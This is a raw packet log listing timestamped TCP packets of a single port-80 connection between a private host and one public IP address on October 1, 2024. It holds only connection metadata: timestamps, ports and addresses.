Oct 1, 2024 07:51:11.488143921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488203049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.488368034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488379002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488389969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488405943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488415956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488418102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.488426924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488431931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.488461018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.488493919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.489309072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489320040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489330053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489341021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489351034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489361048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.489409924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.489793062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489804029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489814997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489824057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.489840984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.489873886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.542679071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.542748928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.542757988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.542812109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.542937994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.542949915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.542983055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.543010950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.543143034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543154001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543194056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.543529034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543541908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543579102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.543787003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543833017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.543885946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543910027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.543951035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.544136047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544176102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.544255018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544265985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544277906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544287920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544298887 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.544322968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.544734955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544745922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544755936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544771910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544780016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.544784069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.544812918 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.544832945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.545234919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.545247078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.545289040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554065943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554080009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554091930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554102898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554112911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554120064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554135084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554138899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554146051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554156065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554166079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554172993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554181099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554192066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554194927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554202080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554214001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554222107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554255009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554315090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554356098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.554423094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554434061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.554474115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.563925982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.563972950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564027071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564038992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564064980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564079046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564208984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564237118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564251900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564273119 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564502001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564515114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564526081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564549923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564564943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564820051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564842939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564853907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.564865112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.564892054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565152884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565165043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565176964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565195084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565228939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565550089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565561056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565592051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565620899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565783978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565794945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565807104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565818071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565826893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565829039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565853119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.565854073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565885067 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.565905094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.566632032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.566643953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.566654921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.566664934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.566678047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.566684008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.566688061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.566714048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.566739082 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.567548990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567560911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567572117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567581892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567590952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567608118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.567615032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567625046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.567641020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.567661047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.568481922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568494081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568504095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568517923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568522930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.568527937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568537951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.568538904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568550110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.568599939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.568599939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.569291115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.569358110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.574759007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.574836969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.574848890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.574887991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.574932098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.575047016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575059891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575107098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.575349092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575360060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575381994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575397015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.575443029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.575650930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575661898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575678110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.575702906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.575726986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.576001883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576013088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576023102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576055050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.576076984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.576411009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576425076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576433897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576445103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576462984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.576507092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.576917887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576929092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576939106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576948881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576960087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576968908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.576970100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.576996088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.577017069 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.577836990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577850103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577858925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577869892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577879906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577891111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577898026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.577899933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.577940941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.578737020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.578759909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.578773022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.578783035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.578789949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.578794956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.578840017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.631354094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.631464958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.631474972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.631524086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.631572962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.631707907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.631802082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.631814003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.631838083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.631951094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.631993055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.632273912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632318020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.632383108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632424116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.632536888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632548094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632581949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.632766008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632776022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632819891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.632904053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632914066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.632946968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.633086920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633128881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.633130074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633141041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633168936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.633414984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633424997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633435965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633445978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633456945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.633457899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.633491993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.641644955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.641678095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.641699076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.641725063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.641736031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.641818047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.641889095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.641899109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.641908884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.641932011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.641977072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642132044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642170906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642263889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642275095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642307997 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642448902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642488003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642489910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642498016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642520905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642539978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642769098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642779112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642788887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.642812014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.642839909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.643043041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.643085957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.652426004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652492046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.652503967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652513027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652544022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.652653933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652664900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652674913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652699947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.652723074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.652911901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.652956009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.653039932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653049946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653084040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.653302908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653312922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653323889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653346062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.653367996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.653871059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653882027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653892040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653898001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653908014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653914928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.653918982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.653945923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.654076099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.654450893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654493093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.654653072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654668093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654679060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654687881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654690981 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.654699087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654709101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654720068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654721022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.654730082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.654764891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.655540943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655551910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655561924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655572891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655603886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.655637026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.655898094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655908108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655917883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655929089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.655940056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.655977964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.656380892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.656390905 CEST	80	49732	45.200.148.113	192.168.2.4
